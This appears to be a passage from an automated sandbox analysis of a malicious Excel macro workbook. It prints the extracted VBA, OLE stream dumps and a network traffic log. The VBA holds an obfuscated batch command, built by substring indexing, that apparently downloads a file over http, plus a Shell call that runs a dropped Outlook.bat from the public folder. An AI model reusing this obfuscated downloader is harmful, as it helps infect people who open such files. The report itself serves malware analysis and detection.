Print #1, "%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"




   For iCounter = 2 To iStage
      Print #1, "    </ul>"
      iStage = iStage - 1
   Next iCounter:      Shell$    "cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit" & vbLf, 0
   
   
   
   

   Close


End Sub

VBA File Name: Planilha1.cls, Stream Size: 1002

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Planilha1
VBA File Name:	Planilha1.cls
Stream Size:	1002
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . 5 . . . . . . . . . . . . = I . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 03 00 01 f0 00 00 00 da 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff e1 02 00 00 35 03 00 00 00 00 00 00 01 00 00 00 7f 3d 49 ac 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 109

General
Stream Path:	\x1CompObj
File Type:	data
Stream Size:	109
Entropy:	4.257541421397259
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F ! . . . P l a n i l h a d o M i c r o s o f t E x c e l 2 0 0 3 . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 50 6c 61 6e 69 6c 68 61 20 64 6f 20 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6c 20 32 30 30 33 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x1Ole, File Type: data, Stream Size: 20

General
Stream Path:	\x1Ole
File Type:	data
Stream Size:	20
Entropy:	0.8475846798245739
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . .
Data Raw:	01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x3ObjInfo, File Type: data, Stream Size: 6

General
Stream Path:	\x3ObjInfo
File Type:	data
Stream Size:	6
Entropy:	1.2516291673878228
Base64 Encoded:	False
Data ASCII:	. . . . . .
Data Raw:	00 00 03 00 04 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 240

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	240
Entropy:	2.6096962931292262
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P l a n 1 . . . . . . . . . . . . . . . . . P l a n i l h a s . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c0 00 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 9e 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 228

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	228
Entropy:	3.9071239156716207
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . ` . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M A R I A N O P E R E I R A . . . . . . . . . C a v a l e i r o D e T r o i a . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . @ . . . . I ? . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 b4 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 60 00 00 00 12 00 00 00 7c 00 00 00 0c 00 00 00 94 00 00 00 0d 00 00 00 a0 00 00 00 13 00 00 00 ac 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 10 00 00 00

Stream Path: RichEditFlags, File Type: data, Stream Size: 12

General
Stream Path:	RichEditFlags
File Type:	data
Stream Size:	12
Entropy:	0.6500224216483541
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . .
Data Raw:	01 00 00 00 00 00 00 00 01 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 15248

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	15248
Entropy:	5.167290881180269
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . \\ . p . . . . C a v a l e i r o D e T r o i a B . . . . a . . . . . . . . = . . . . . . . . . . . . . . E s t a P a s t a D e T r a b a l h o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . V e 1 : . . . . . . . X .
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 12 00 00 43 61 76 61 6c 65 69 72 6f 20 44 65 20 54 72 6f 69 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 513

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	513
Entropy:	5.142452298544354
Base64 Encoded:	True
Data ASCII:	I D = " { 0 0 0 0 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 0 0 0 0 0 0 0 0 } " . . D o c u m e n t = E s t a P a s t a D e T r a b a l h o / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = P l a n i l h a 1 / & H 0 0 0 0 0 0 0 0 . . H e l p F i l e = " " . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " C 0 C 2 6 C 6 A 7 0 6 A 7 0 6 E 7 4 6 E 7 4 " . . D P B = " 9 3 9 1 3 F E E 0 F 0 B 0 F 0 B F 0 F 5
Data Raw:	49 44 3d 22 7b 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 45 73 74 61 50 61 73 74 61 44 65 54 72 61 62 61 6c 68 6f 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 50 6c 61 6e 69 6c 68 61 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 48 65 6c 70 46 69 6c 65 3d 22 22

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 92

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
File Type:	data
Stream Size:	92
Entropy:	3.1873658260020488
Base64 Encoded:	False
Data ASCII:	E s t a P a s t a D e T r a b a l h o . E . s . t . a . P . a . s . t . a . D . e . T . r . a . b . a . l . h . o . . . P l a n i l h a 1 . P . l . a . n . i . l . h . a . 1 . . . . .
Data Raw:	45 73 74 61 50 61 73 74 61 44 65 54 72 61 62 61 6c 68 6f 00 45 00 73 00 74 00 61 00 50 00 61 00 73 00 74 00 61 00 44 00 65 00 54 00 72 00 61 00 62 00 61 00 6c 00 68 00 6f 00 00 00 50 6c 61 6e 69 6c 68 61 31 00 50 00 6c 00 61 00 6e 00 69 00 6c 00 68 00 61 00 31 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2599

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
File Type:	data
Stream Size:	2599
Entropy:	4.083845578704928
Base64 Encoded:	False
Data ASCII:	a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D .
Data Raw:	cc 61 b2 00 00 03 00 ff 16 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_0, File Type: data, Stream Size: 6598

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_0
File Type:	data
Stream Size:	6598
Entropy:	3.6025462992311663
Base64 Encoded:	False
Data ASCII:	K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . r U _ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ J . . . . . . . . . . . . . . . " . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . . C 7 7 M D . H l { . . . . . . . . . . . . . . . . . . . .
Data Raw:	93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 02 00 00 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 5f 03 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00 7e 0a 00 00 00 00 00 00 7e 02 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_1, File Type: data, Stream Size: 182

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_1
File Type:	data
Stream Size:	182
Entropy:	1.6862905000266528
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . q . . . . . . . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 02 00 00 00 00 00 00 7e 7a 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 ff ff ff ff ff ff ff ff 06 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_2, File Type: data, Stream Size: 1550

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_2
File Type:	data
Stream Size:	1550
Entropy:	2.874874206462334
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . A . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . . . . . . . . . . . . . . . . . . q . . . . . . . . . . . a . . . . . . . . . . .
Data Raw:	72 55 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 50 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 14 00 00 00 b1 09 00 00 00 00 00 00 00 00 00 00 51 20 00 00 00 00 00 00 00 00 00 00 41 09 00 00 00 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_3, File Type: data, Stream Size: 156

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_3
File Type:	data
Stream Size:	156
Entropy:	1.7820663630707385
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . 8 . . . . . . . . . . . . . . . ` . . . 8 . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 78 00 00 00 08 00 38 00 e1 01 00 00 00 00 00 00 00 00 02 00 00 00 03 60 00 00 d8 08 38 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 547

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
File Type:	data
Stream Size:	547
Entropy:	6.129298700211954
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . b . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s t e m 3 2 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2 E .
Data Raw:	01 1f b2 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 80 86 83 62 04 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 16, 2022 11:53:17.009181976 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:17.245266914 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:17.245402098 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:17.246653080 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:17.485097885 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.357758999 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.357791901 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.357815027 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.357832909 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.357846022 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.357877016 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.357881069 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.365112066 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.365147114 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.365170956 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.365189075 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.365206003 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.365211010 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.365235090 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.365253925 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.365257978 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.365261078 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.365279913 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.381218910 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.416126013 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.597098112 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.597132921 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.597148895 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.597170115 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.597193003 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.597219944 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.597244978 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.597264051 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.597289085 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.597310066 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.597356081 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.597484112 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.605000019 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.605036020 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.605063915 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.605072021 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.605091095 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.605093956 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.605101109 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.605120897 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.605170012 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.605196953 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.605206966 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.605217934 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.605240107 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.605247974 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.610541105 CEST	49171	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.631138086 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.633861065 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.633963108 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.635107040 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.719842911 CEST	49175	80	192.168.2.22	104.18.11.207
Aug 16, 2022 11:53:18.733500957 CEST	49176	80	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:18.737858057 CEST	80	49175	104.18.11.207	192.168.2.22
Aug 16, 2022 11:53:18.737976074 CEST	49175	80	192.168.2.22	104.18.11.207
Aug 16, 2022 11:53:18.738778114 CEST	49175	80	192.168.2.22	104.18.11.207
Aug 16, 2022 11:53:18.757847071 CEST	80	49175	104.18.11.207	192.168.2.22
Aug 16, 2022 11:53:18.764025927 CEST	80	49176	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:18.764216900 CEST	49176	80	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:18.765304089 CEST	49176	80	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:18.772727013 CEST	80	49175	104.18.11.207	192.168.2.22
Aug 16, 2022 11:53:18.772825956 CEST	80	49175	104.18.11.207	192.168.2.22
Aug 16, 2022 11:53:18.772844076 CEST	49175	80	192.168.2.22	104.18.11.207
Aug 16, 2022 11:53:18.772854090 CEST	80	49175	104.18.11.207	192.168.2.22
Aug 16, 2022 11:53:18.772872925 CEST	49175	80	192.168.2.22	104.18.11.207
Aug 16, 2022 11:53:18.772881985 CEST	80	49175	104.18.11.207	192.168.2.22
Aug 16, 2022 11:53:18.772895098 CEST	49175	80	192.168.2.22	104.18.11.207
Aug 16, 2022 11:53:18.772908926 CEST	80	49175	104.18.11.207	192.168.2.22
Aug 16, 2022 11:53:18.772931099 CEST	80	49175	104.18.11.207	192.168.2.22
Aug 16, 2022 11:53:18.772932053 CEST	49175	80	192.168.2.22	104.18.11.207
Aug 16, 2022 11:53:18.772948980 CEST	49175	80	192.168.2.22	104.18.11.207
Aug 16, 2022 11:53:18.772950888 CEST	80	49175	104.18.11.207	192.168.2.22
Aug 16, 2022 11:53:18.772973061 CEST	49175	80	192.168.2.22	104.18.11.207
Aug 16, 2022 11:53:18.772985935 CEST	49175	80	192.168.2.22	104.18.11.207
Aug 16, 2022 11:53:18.783741951 CEST	80	49176	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:18.797374010 CEST	80	49176	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:18.797456026 CEST	49176	80	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:18.820884943 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:18.820921898 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:18.821019888 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:18.844964027 CEST	80	49171	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.851437092 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.852065086 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.852091074 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.852153063 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.852159977 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.852171898 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.852191925 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.852197886 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.852211952 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.852226973 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.852229118 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.852235079 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.852250099 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.852256060 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.852269888 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.852271080 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.852287054 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.852288008 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.852303982 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.852319002 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.856023073 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:18.856143951 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.864274025 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.864914894 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:18.876539946 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:18.876566887 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:18.929483891 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:18.929651976 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:18.931102991 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:18.931206942 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:18.942926884 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:18.942950964 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:18.943474054 CEST	443	49178	142.250.181.238	192.168.2.22
